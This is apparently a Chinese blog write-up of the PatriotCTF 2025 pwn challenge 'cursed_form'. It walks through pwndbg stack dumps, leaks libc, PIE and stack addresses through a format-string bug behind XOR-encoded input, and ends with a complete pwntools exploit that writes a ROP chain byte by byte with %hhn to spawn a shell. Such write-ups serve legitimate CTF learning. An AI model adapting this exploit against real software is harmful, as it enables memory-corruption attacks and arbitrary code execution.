PatriotCTF 2025 Pwn-cursed_form

最近帮导师做项目,抽时间来打打国际赛

image.png
image.png

题目的curse函数对输入进行了异或(XOR)加密,且密钥(Key)会随着每一次输入而动态更新

image.png

存在格式化字符串漏洞(printf)

在printf处下断点,输入8个A看看栈情况

pwndbg> stack 20
00:0000│ rsp   0x7fffffffdc48 —▸ 0x55555555537f (main+139) ◂— jmp main+173
01:0008│ rsi   0x7fffffffdc50 ◂— 0xbebebebebebebebe
02:0010│-048   0x7fffffffdc58 ◂— 0xfffffffffffffff5
03:0018│-040   0x7fffffffdc60 ◂— 0xffffffffffffffff
04:0020│ rdx-7 0x7fffffffdc68 ◂— 0xffffffffffffffff
05:0028│ rdi   0x7fffffffdc70 ◂— 0xbebebebebebebebe
06:0030│-028   0x7fffffffdc78 ◂— 0xfffffffffffffff5
07:0038│-020   0x7fffffffdc80 ◂— 0xffffffffffffffff
08:0040│-018   0x7fffffffdc88 ◂— 0xffffffffffffffff
09:0048│-010   0x7fffffffdc90 —▸ 0x7fffffffdd90 ◂— 1
0a:0050│-008   0x7fffffffdc98 ◂— 0x100000000
0b:0058│ rbp   0x7fffffffdca0 —▸ 0x5555555553b0 (__libc_csu_init) ◂— push r15
0c:0060│+008   0x7fffffffdca8 —▸ 0x7ffff7e19d7a (__libc_start_main+234) ◂— mov edi, eax
0d:0068│+010   0x7fffffffdcb0 —▸ 0x7fffffffdd98 —▸ 0x7fffffffe0ea ◂— 0x79772f656d6f682f ('/home/wy')
0e:0070│+018   0x7fffffffdcb8 ◂— 0x100000000
0f:0078│+020   0x7fffffffdcc0 —▸ 0x5555555552f4 (main) ◂— push rbp
10:0080│+028   0x7fffffffdcc8 —▸ 0x7ffff7e197f9 ◂— mov r13, rax
11:0088│+030   0x7fffffffdcd0 ◂— 0
12:0090│+038   0x7fffffffdcd8 ◂— 0x84628375f2e10f62
13:0098│+040   0x7fffffffdce0 —▸ 0x5555555550a0 (_start) ◂— xor ebp, ebp

输入的A(0x41)被异或成了be

这里得到格式化字符串偏移

继续查看栈上残留的指针

pwndbg> x/40gx $rsp
0x7fffffffdc48:	0x000055555555537f	0xbebebebebebebebe
0x7fffffffdc58:	0xfffffffffffffff5	0xffffffffffffffff
0x7fffffffdc68:	0xffffffffffffffff	0xbebebebebebebebe
0x7fffffffdc78:	0xfffffffffffffff5	0xffffffffffffffff
0x7fffffffdc88:	0xffffffffffffffff	0x00007fffffffdd90
0x7fffffffdc98:	0x0000000100000000	0x00005555555553b0
0x7fffffffdca8:	0x00007ffff7e19d7a	0x00007fffffffdd98
0x7fffffffdcb8:	0x0000000100000000	0x00005555555552f4
0x7fffffffdcc8:	0x00007ffff7e197f9	0x0000000000000000
0x7fffffffdcd8:	0x84628375f2e10f62	0x00005555555550a0
0x7fffffffdce8:	0x0000000000000000	0x0000000000000000
0x7fffffffdcf8:	0x0000000000000000	0xd137d620ece10f62
0x7fffffffdd08:	0xd137c61c6fe70f62	0x0000000000000000
0x7fffffffdd18:	0x0000000000000000	0x0000000000000000
0x7fffffffdd28:	0x0000000000000001	0x00007fffffffdd98
0x7fffffffdd38:	0x00007fffffffdda8	0x00007ffff7ffe180
0x7fffffffdd48:	0x0000000000000000	0x0000000000000000
0x7fffffffdd58:	0x00005555555550a0	0x00007fffffffdd90
0x7fffffffdd68:	0x0000000000000000	0x0000000000000000
0x7fffffffdd78:	0x00005555555550ca	0x00007fffffffdd88

我们发现偏移 %17$ 是一个稳定的 Libc 地址,还发现偏移 %20$ 是 main 函数的地址

libc.address = libc_leak – 234 – libc.sym[‘__libc_start_main’]

ASLR 开启时,栈地址是随机的。但是,Libc 中有一个全局变量 environ,它存储了一个指向栈(环境变量表)的指针

在 main 函数即将 ret 的地方(或者循环结束处)下断点

例如b *main+173

pwndbg> info frame
Stack level 0, frame at 0x7fffffffdcb0:
 rip = 0x5555555553a1 in main; saved rip = 0x7ffff7e19d7a
 called by frame at 0x7fffffffdd80
 Arglist at 0x7fffffffdca0, args: 
 Locals at 0x7fffffffdca0, Previous frame's sp is 0x7fffffffdcb0
 Saved registers:
  rbp at 0x7fffffffdca0, rip at 0x7fffffffdca8
pwndbg> p/x &environ
$1 = 0x7ffff7fc79e0
pwndbg> x/gx &environ
0x7ffff7fc79e0 <environ>:	0x00007fffffffdda8

计算差值: 0x7fffffffdda8 – 0x7fffffffdca8 = 0x100

这样我们泄露出environ的地址后就可以根据偏移算出main函数的真实返回地址

最后利用利用格式化字符串在返回地址上构造rop链就行

每一次循环,我们都发送一次 Payload,利用 %hhn 修改一个字节

一共发送了 32 次请求,把栈上原本存储 __libc_start_main 返回地址的地方,逐字节替换成了我们的 ROP Chain

补充一点:这里用了pipe模式:

因为 Python 的 remote/process 默认通过伪终端 (PTY) 通信。PTY 会把 \n 当作行结束,导致 read(32) 提前返回。

如果用了 Pipe,read(32) 就会老老实实等到读够 32 字节才返回(或者流结束),这保证了 Payload 不会被截断,XOR Key 不会错位。

EXP

from pwn import *
import sys
import re
import time

context.log_level = 'debug'
context.arch = 'amd64'
binary_name = './cursed_format'
libc_name = './libc.so.6'

elf = ELF(binary_name)
libc = ELF(libc_name)
io=process(binary_name)

current_key = bytearray([0xff] * 32)

def xor_data(data, key):
    res = bytearray()
    for i in range(len(data)):
        res.append(data[i] ^ key[i])
    return res

def send_block(payload_32b):
    global current_key

    if len(payload_32b) < 32:
        payload_32b = payload_32b.ljust(32, b'\\x00')
    elif len(payload_32b) > 32:
        log.error(f"Payload 过长: {len(payload_32b)}")
        sys.exit(1)
        
    encrypted = xor_data(payload_32b, current_key)
    
    # 2. 关键:发送前确保消耗掉之前的 Prompt ">> "
    # 如果不消耗,recvuntil 会读到上一次残留的 prompt,导致错位
    # 但由于我们下面统一用 recvuntil('>> ') 结尾,这里不需要额外操作,
    # 只要保证初始化时对齐即可。
    
    # 发送菜单 "1"
    io.send(b'1'.ljust(32, b'\\x00'))
    
    io.send(encrypted)
    
    current_key = bytearray(payload_32b)
    
    try:
        raw = io.recvuntil(b">> ", drop=True)
        
        if b"1. Keep" in raw:
            output = raw.split(b"1. Keep")[0]
        else:
            output = raw
            
        return output.strip()
        
    except EOFError:
        log.error("程序崩溃")
        sys.exit(1)

log.info("Step 1: Leaking Addresses...")
io.recvuntil(b">> ")
leak_payload = b"%17$p|%20$p|"
res = send_block(leak_payload)

try:
    res_str = res.decode(errors='ignore')
    leaks = re.findall(r'0x[0-9a-fA-F]+', res_str)
    
    libc_leak = int(leaks[0], 16)
    pie_leak = int(leaks[1], 16)
    
    libc.address = libc_leak - 234 - libc.sym['__libc_start_main']
    elf.address = pie_leak - 0x12f4
    log.success(f"Libc Base: {hex(libc.address)}")
    log.success(f"ELF Base : {hex(elf.address)}")
except:
    log.error("泄露失败,请检查偏移")
    sys.exit(1)

log.info("Step 2: Leaking Stack...")

fmt = b"%13$s"
pad = b'A' * (24 - len(fmt)) 
payload = fmt + pad + p64(libc.sym['environ'])

res = send_block(payload)

try:
    if b'AAAA' in res:
        raw_bytes = res.split(b'AAAA')[0]
    else:
        raw_bytes = res[:6] 
        
    stack_leak = u64(raw_bytes.ljust(8, b'\\x00'))
    log.success(f"Stack Leak: {hex(stack_leak)}")
    
    if not (0x700000000000 < stack_leak < 0x800000000000):
        log.error(f"泄露的栈地址不合法 ({hex(stack_leak)}),可能是 IO 错位")
        sys.exit(1)
        
except Exception as e:
    log.error(f"Stack 解析失败: {e}")
    sys.exit(1)

stack_offset = 0x100
target_ret_addr = stack_leak - stack_offset
log.info(f"Target Stack Addr (Main Return): {hex(target_ret_addr)}")

rop = ROP(libc)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
bin_sh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']
ret = rop.find_gadget(['ret'])[0]

chain = [pop_rdi, bin_sh, ret, system]

log.info("Writing ROP Chain...")
write_idx = 13

for idx, val in enumerate(chain):
    current_addr = target_ret_addr + (idx * 8)
    
    for i in range(8):
        byte_to_write = (val >> (8 * i)) & 0xFF
        current_write_pos = current_addr + i
        
        c_val = byte_to_write if byte_to_write != 0 else 256
        fmt = f"%{c_val}c%{write_idx}$hhn".encode()
        payload = fmt.ljust(24, b'A') + p64(current_write_pos)
        
        send_block(payload)

log.success("ROP Written! Triggering...")

io.clean()
io.send(b'2'.ljust(32, b'\\x00'))

io.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇